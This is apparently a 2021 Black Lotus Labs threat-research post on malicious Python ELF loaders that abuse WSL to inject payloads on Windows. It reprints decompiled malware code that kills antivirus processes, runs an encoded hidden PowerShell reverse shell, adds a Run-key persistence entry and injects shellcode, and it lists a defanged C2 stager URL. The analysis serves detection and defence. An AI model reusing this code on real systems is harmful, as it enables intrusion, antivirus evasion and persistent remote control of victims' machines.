No Longer Just Theory: Black Lotus Labs Uncovers Linux Executables Deployed as Stealth Windows Loaders

blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/

September 16, 2021

BLACK LOTUS LABS Black Lotus Labs Posted On September 16, 2021

0

Executive Summary

In April 2016, Microsoft shocked the PC world when it announced the Windows Subsystem for Linux (WSL). WSL is a supplemental feature that runs a Linux image in a near-native environment on Windows, allowing for functionality like command line tools from Linux without the over-head of a virtual machine. While this new functionality was welcomed by developers for the freedom it offers to leverage open-source software, it is also a new attack surface threat actors can – and do – target.

Black Lotus Labs recently identified several malicious files that were written primarily in Python and compiled in the Linux binary format ELF (Executable and Linkable Format) for the Debian operating system. These files acted as loaders running a payload that was either embedded within the sample or retrieved from a remote server and was then injected into a running process using Windows API calls. While this approach was not particularly sophisticated, the novelty of using an ELF loader designed for the WSL environment gave the technique a detection rate of one or zero in Virus Total, depending on the sample, as of the time of this writing.

Thus far, we have identified a limited number of samples with only one publicly routable IP address, indicating that this activity is quite limited in scope or potentially still in development. To our knowledge, this small set of samples denotes the first instance of an actor abusing WSL to install subsequent payloads. We hope that by illuminating this distinct tradecraft, we can help drive better detection and alerting before its use becomes more rampant.

Introduction

In early August, as part of the team's proactive threat hunting process, Black Lotus Labs researchers discovered a series of suspicious ELF files compiled for Debian Linux. The files were written in Python 3 and converted into an ELF executable with PyInstaller. The Python code acted as a loader by utilizing various Windows APIs which enabled the retrieval of a remote file and then injection into a running process. This tradecraft could allow an actor to gain an undetected foothold on an infected machine. As the negligible detection rate on VirusTotal suggests, most endpoint agents designed for Windows systems don't have signatures built to analyze ELF files, though they frequently detect non-WSL agents with similar functionality. During our investigation, we discovered two variants of the ELF loader approach: the first was written purely in Python, while the second variant predominantly used Python to call various Windows APIs using ctypes and invoke a PowerShell script. We hypothesize that the PowerShell variant is still in development or perhaps crafted for a specific environment, as it did not execute under its own volition in our test environment. However, our research indicates this is a viable approach, as we were able to successfully create a proof of concept that called Windows APIs from the WSL subsystem.

Technical Details

Our team at Black Lotus Labs identified a series of samples uploaded every two to three weeks from as early as May 3, 2021, through August 22, 2021, that target the WSL environment. All samples share similar tradecraft and are compiled with Python 3.9 using PyInstaller for the Debian operating system version 8.3.0-6. Some of the samples contained lightweight payloads which could have been generated from open-source tools such as MSFVenom or Meterpreter. In other cases, the files attempted to download shellcode from a remote C2. Over the course of the summer, we observed an evolution of this tradecraft, with

the earliest samples written purely in Python 3 and the latest iteration using ctypes to call Windows APIs, in addition to employing PowerShell to perform subsequent actions on the host machine.

Python Variant

The variant written in Python that does not utilize any Windows API appeared to be the earliest iteration of the loader file. One notable feature is that this loader used standard Python libraries, making it cross-compatible to run on both Linux and Windows machines. We found one test sample where the script prints the words “Пивет Саня” which translates from Russian to the informal “Hello Sanya”, indicating that the author has some familiarity with the language. All of the files associated with this tradecraft contained private, or non-routable, IP addresses – except for one. That sample contained a public IP address of 185.63.90[.]137 as well as a loader file written in Python and converted into an executable via PyInstaller. The file first attempted to allocate memory from the machines, then created a new process and injected a resource that was stored on a remote server located at hxxp://185.63.90[.]137:1338/stagers/l5l.py. When Black Lotus Labs researchers tried to grab the resource from this remote server, the file was already taken offline, indicating that the threat actor left this address in either from a test or a previous campaign.

We did identify a couple of other malicious files that all communicated with the same IP address (185.63.90[.]137) around the same timeframe as the samples containing Meterpreter payloads, some of which were obfuscated with the Shikata Ga Nai encoder. While the Meterpreter framework is very well known in the industry, that has not stopped cybercrime and ransomware groups from using it in the past. We also hypothesize that it would be trivial for the operator to swap out the Meterpreter payload for some more advanced tools such as either Cobalt Strike or even a custom agent.

WSL Variant Using PowerShell and Ctypes

The ELF to Windows binary file execution path was different in various files. In some samples, PowerShell was used to inject and execute the shellcode; in others, Python ctypes was used to resolve Windows APIs.

In one PowerShell sample, the compiled Python called three functions: kill_av(), reverseshell() and windowspersistance().

```
            'vswinperse.exe', 'w32dsm89.exe', 'wpx.exe', 'watchdog.exe', 'webdav.exe', 'webscanx.exe', 'webtrap.exe',
            'wfindv32.exe', 'whoswatchingme.exe', 'wimmun32.exe', 'win-bugsfix.exe', 'win32.exe', 'win32us.exe',
            'winactive.exe', 'window.exe', 'windows.exe', 'wininetd.exe', 'wininitx.exe', 'winlogin.exe',
            'winmain.exe', 'winnet.exe', 'winppr32.exe', 'winrecon.exe', 'winservn.exe', 'winssk32.exe',
            'winstart.exe', 'winstart001.exe', 'wintsk32.exe', 'winupdate.exe', 'wkufind.exe', 'wnad.exe', 'wnt.exe',
            'wradmin.exe', 'wrctrl.exe', 'wsbgate.exe', 'wupdater.exe', 'wupdt.exe', 'wyvernworksfirewall.exe',
            'xpf202en.exe', 'zapro.exe', 'zapsetup3001.exe', 'zatutor.exe', 'zonalm2601.exe', 'zonealarm.exe']
        processes = os.popen('TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="').read()
        #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
        ps = [] #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
        for i in processes.split(" "):
            if ".exe" in i:
                ps.append(i.replace("K\n", "").replace("\n", ""))
        print("Killing all av")
        for antivirus in antiviruslist:
            for p in ps:
                if p == antivirus:
                    print("[*] killing off " + antivirus)
                    os.popen("TASKKILL /F /IM {}".format(p))
    except Exception:
        print("Something Wrong Can t kill AV")


def windowspersistence(time_to_persistent): #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
        payload_location = os.environ["appdata"] + "\\payload.exe" #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
        if not os.path.exists(payload_location): #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
            time.sleep(int(time_to_persistent)) #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
            shutil.copyfile(sys.executable, payload_location) #SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
            subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + payload_location + '"',
            shell=True)
#SA4XK3O3DAO732BQH744X64NNCSWK7UIISC30U020M68O3U52S
kill_av()
reverseshell()
windowspersistence("TIME TO Presist")
```

Figure 1: Part of the decompiled kill_av and windowspersistence functions

The kill_av() function did as its name implies: it attempted to kill suspected AV products and analysis tools using os.popen(). The reverseshell() function used a subprocess to execute a Base64-encoded PowerShell script every 20 seconds inside of an infinite while true loop, blocking any other function from being executed. The windowspersistence() function copied the original ELF file to the appdata folder under the name payload.exe and used a subprocess to add a registry run key for persistence. In the above image, windowspersistance() is called with the string “TIME TO Presist” (note the misspelling of “persist”).

```
def reverseshell():
    # QXZT8FIDURDW9JXB0ZJRGNWN4L1DIHHDD2PZJNP7A0
    while True:
        payload = "cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e
        aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQ
        wAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAA
        AFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB1AG0ALgBJAE
        BiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBl
        QgBqACsAdQBlAFUAaQBWAGIAagBIAEcASgBvAGsAZABPAC8AagB0AFcAcQBjAE4AcgBHAEgAagBoAFgAVgBoAHMAZQBQADAAKwByAC8AZgBnAEUAMg
        gATgAzAHEAQQBQAEsAbQB5AFUAUABDAFIAOQBrAEoAUQBGADIAbQB4AE0ASABtAEkAYQB7ADEAfQBTADgAdQBtAG0AawBjAGsAMABnAGMAewAyAH0A
        AFgAdgBYADMATQBXAFoATQBSAFYAbgB3ADYAaABRAHsAMgB9AEkAOABmAFoAWABWAHgAVQBsADEAVwBXAHAAOQBTAHoAQgBKAEYAZAB2AGEASgBJAE
        BqAFMATQBKAG4ATQBtADAARAAzAHUASwBEAE0ATgArAHoARgAzAGsAZQBUAEYASgBFAHIAawBzAHsAMQB9AGIASgB6AEYAOAB2AGwANwA4AHIAaQB1
        WABSAEMAbABGAEsAVwBOAGwANgBWAGUATwBVAFgAcABrAFYAMABEADIAcwAwAHIASwBjAHkAVwBRADYAbwB0AFkAewAxAH0AVQBNAFEAdgAvAE8AeQ
        MAZwBzAGUANwAyAEYAYQBHAHMAWQBwAFUAWgBkAFAANABFAHEAbABaAE8AUwBVAGYANgB4AGUAJwAnACsAJwAnAHsAMQB9AFcAUgBCAGMAagBmAFoA
        AGoAQgB2AEYATQB3AG8AaQBQAFIAWQBaAGMARgBlAHoAdgAxAEYAbwBoAEYAVQArADYAUgBrAHEAWgBSADIAewAxAH0AawBRAHEAUQBTAHMAQQBxAE
        BSAHIAeQB5AGgASwBLAEUASAByAGQAUQBLAG4AZwArAGwAewAxAH0AKwBhADIAMAAnACcAKwAnACcAMgBaAG8AQwB7ADIAfQBPAFIASABIAGMAVQBp
        QQBJADcASQB1AEIAQwBEAGkAVgBuAGMAMQBZAHAARABoAEIAMQB1AEcAQQBsAEIASgBNADkANwBpADIARQBmACcAJwArACcAJwBzAHYAegBJADkAcA
        cAKwAnACcAeAAwAEEAbwBSAFgAbwBzAGoAewAxAH0AMwBJAFMARgAzAGEAdABqAEkAKwBIAGoASABKAEUAWQBnAEYAZQBHAC8ARgBQAEQAUgB3AFEA
        ACsAewAyAH0AMwBxAFYASAB6AGgAJwAnACsAJwAnADIAUQBHADEARABkAFAAawBOAGUAOAAzAHIAUQBDAGEAJwAnACsAJwAnAGEAQgBhACsAaABEAD
        B5AE8AdgBGADkAewAxAH0AZAB3AHoAVwBNAG8AUgByAGUAWABCAHQAJwAnACsAJwAnADIAWQBlAGcAMgBhADEAMAAyAGIAKwA4ACcAJwArACcAJwBt
        bQA0ADAAMQBhAGkASABVAGcARgBwAGoAeQArAEIAWABNAHkATgBHAGYAVwAyAE0ALwBRADMAZgBYAGYAbABvAFYAUABPAGIAeQB7ADEAfQBCAGMAUw
        sAZgAnACcAKwAnACcAMQB2AHcAVQBaAHYAMQBsAHoAZwB4AFgASQBtAE8AKwBRADgAYQA3AEgAawB4AHAAZQBHAHgAdwBaAEkARwBQAE4AUAA2AEYA
        AHUATwBQAGUAewAyAH0ATgBmAHUAdgBOAFYAdABwADQAeQBrADQAMQBzAHoAbgBvAEIAOQBQAE0AWgAyADAAVABaAHIAKwA3AGoAbgBuAGwAegBxAH
        BNAFEAMQBIAHkARAByADAAbQBjAFUAUQBZAGQARABqAG8AZwBRAFcAegBFAFcAUABjAHoAYwBwADkAWABwAGkAaAAxAFIAdwBhAFEATgBhAFAAUgBq
        VABiAC8AWQBLAEgARgBUAE8AKwBrAEUATwB5ACsARgBjAGwAcAA5ADcAQQBHAHMAOQAvAGkATgBHAC8AeQA5AGEAeAB7ADIAfQB3AE4ANABNAC8ANw
        EAZwA5AHEAdgBqAGsAMwAzAFYAMwBhAFQAaQBwAEEAYwBmAEQARwA5AGUALwB3AFYAMgBoAEUAYwAwAFAAdwBvAEEAQQBBAHsAMAB9AHsAMAB9ACcA
        ADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8AUgBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUADwBoAGUAbABsAE
        BkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgBlAGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABp
        time.sleep(20) #Shell Every 20 Sec
        subprocess.Popen(payload.split(), shell=True).communicate() #QXZT8FIDURDW9JXB0ZJRGNWN4L1DIHHDD2PZJNP7A0
#QXZT8FIDURDW9JXB0ZJRGNWN4L1DIHHDD2PZJNP7A0
def kill_av():
    try:
        os.popen("net stop \"Security Center\"") #QXZT8FIDURDW9JXB0ZJRGNWN4L1DIHHDD2PZJNP7A0
    except Exception:
        print("Something wrong can t disable Sec :(")

    try: #QXZT8FIDURDW9JXB0ZJRGNWN4L1DIHHDD2PZJNP7A0
        antiviruslist = ['AAWTray.exe', 'Ad-Aware.exe', 'MSASCui.exe', '_avp32.exe', '_avpcc.exe', '_avpm.exe', 'aAvgApi.exe',
            'ackwin32.exe', 'adaware.exe', 'advxdwin.exe', 'agentsvr.exe', 'agentw.exe', 'alertsvc.exe',
            'alevir.exe', 'alogserv.exe', 'amon9x.exe', 'anti-trojan.exe', 'antivirus.exe', 'ants.exe',
            'apimonitor.exe', 'aplica32.exe', 'apvxdwin.exe', 'arr.exe', 'atcon.exe', 'atguard.exe', 'atro55en.exe',
            'atupdater.exe', 'atwatch.exe', 'au.exe', 'aupdate.exe', 'auto-protect.nav80try.exe', 'autodown.exe',
            'autotrace.exe', 'autoupdate.exe', 'avconsol.exe', 'ave32.exe', 'avgcc32.exe', 'avgctrl.exe',
            'avgemc.exe', 'avgnt.exe', 'avgrsx.exe', 'avgserv.exe', 'avgserv9.exe', 'avguard.exe', 'avgw.exe',
            'avkpop.exe', 'avkserv.exe', 'avkservice.exe', 'avkwctl9.exe', 'avltmain.exe', 'avnt.exe', 'avp.exe',
            'avp.exe', 'avp32.exe', 'avpcc.exe', 'avpdos32.exe', 'avpm.exe', 'avptc32.exe', 'avpupd.exe',
```

Figure 2: The reverseshell and kill_av functions showing the PowerShell call and start of AV list

The decoded PowerShell used GetDelegateForFunctionPointer to call VirtualAlloc, copy the MSFVenom payload to the allocated memory and again use GetDelegateForFuctionPointer to call CreateThread on the allocated memory containing the payload.

```
function c3zb {
    Param ($rxTZ7, $pyBix)
    $dA = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType
    ('Microsoft.Win32.UnsafeNativeMethods')

    return $dA.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
    System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($dA.GetMethod('GetModuleHandle')).Invoke($null, @($rxTZ7)))), $pyBix))
}

function aeXp {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $sUS,
        [Parameter(Position = 1)] [Type] $wWvDX = [Void]
    )

    $uSRj = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    .DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $uSRj.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $sUS).SetImplementationFlags('Runtime, Managed')
    $uSRj.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wWvDX, $sUS).SetImplementationFlags('Runtime, Managed')

    return $uSRj.CreateType()
}

[Byte[]]$vE = [System.Convert]::FromBase64String
("/OiPAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcdJde9Sil1Qi0I8AdCLQHhXhcB0TAHQUItIGItYIAHThcl0PDH/SYs0iwHWMcDBzw2sAcc44HX0A334O30kdeBYi1gkAdNmiwxLilgcAdOLBIsB0IlEJCRbW2FZW1H/4FhfWosS6Y
D///9daDMyAABod3MyXlRoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagpowKgAU2gCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1Y
P4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VX17/DCQPhXD///pm////wHDKcZ1wcO78LWiVmoAU//V")

$rUIf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((c3zb kernel32.dll VirtualAlloc), (aeXp @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke
([IntPtr]::Zero, $vE.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($vE, 0, $rUIf, $vE.length)

$kV_rA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((c3zb kernel32.dll CreateThread), (aeXp @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])))
.Invoke([IntPtr]::Zero,0,$rUIf,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((c3zb kernel32.dll WaitForSingleObject), (aeXp @([IntPtr], [Int32]))).Invoke($kV_rA,0xffffffff) | Out-Null
```

Figure 3: Final PowerShell script that injects and calls the MSFVenom payload

Another sample used Python ctypes to resolve Windows APIs to inject and call the payload. During our analysis we discovered small inconsistencies, such as variable types, which rendered the sample inert. This led us to assess that the codebase is likely still in development, though close to being finished.

```
def createThreadWrapper(b_ytes):
    if b_ytes != None:
        b_ytearray = bytearray(b_ytes)
        virtualAllocdSpace = c_types.windll.kernel32.VirtualAlloc(c_types.c_int0, c_types.c_intlen(b_ytearray), c_types.c_int12288, c_types.c_int64)
        newMem = (c_types.c_char * len(b_ytearray)).from_bufferb_ytearray
        c_types.windll.kernel32.RtlMoveMemory(c_types.c_intvirtualAllocdSpace, newMem, c_types.c_intlen(b_ytearray))
        ht = c_types.windll.kernel32.CreateThread(c_types.c_int0, c_types.c_int0, c_types.c_intvirtualAllocdSpace, c_types.c_int0, c_types.c_int0, c_types.pointerc_types.c_int0)
        c_types.windll.kernel32.WaitForSingleObjectc_types.c_intht c_types.c_int(-1)
```

Figure 4: Deobfuscated example using Python ctypes

Based on Black Lotus Labs visibility on the one routable IP address, this activity appeared to be narrow in scope with targets in Ecuador and France interacting with the malicious IP (185.63.90[.]137) on ephemeral ports between 39000 – 48000 in late June and early July. Based off of the limited number of connections, this could have been an actor testing this new capability from a VPN or proxy node. With broader industry detection of this technique, we suspect additional activity will be uncovered.

Conclusion

As the once distinct boundaries between operating systems continue to become more nebulous, threat actors will take advantage of new attack surfaces. We advise defenders who've enabled WSL ensure proper logging in order to detect this type of tradecraft.

To combat this particular campaign, Black Lotus Labs null-routed the threat actor infrastructure across the Lumen global IP network. Black Lotus Labs continues to follow this activity to detect and disrupt similar compromises, and we encourage other organizations to alert on this and similar campaigns in their environments.

For additional IOCs such as file hashes associated with this campaign and this threat actor's larger activity cluster, please visit our GitHub page.

If you would like to collaborate on similar research, please contact us on Twitter @BlackLotusLabs.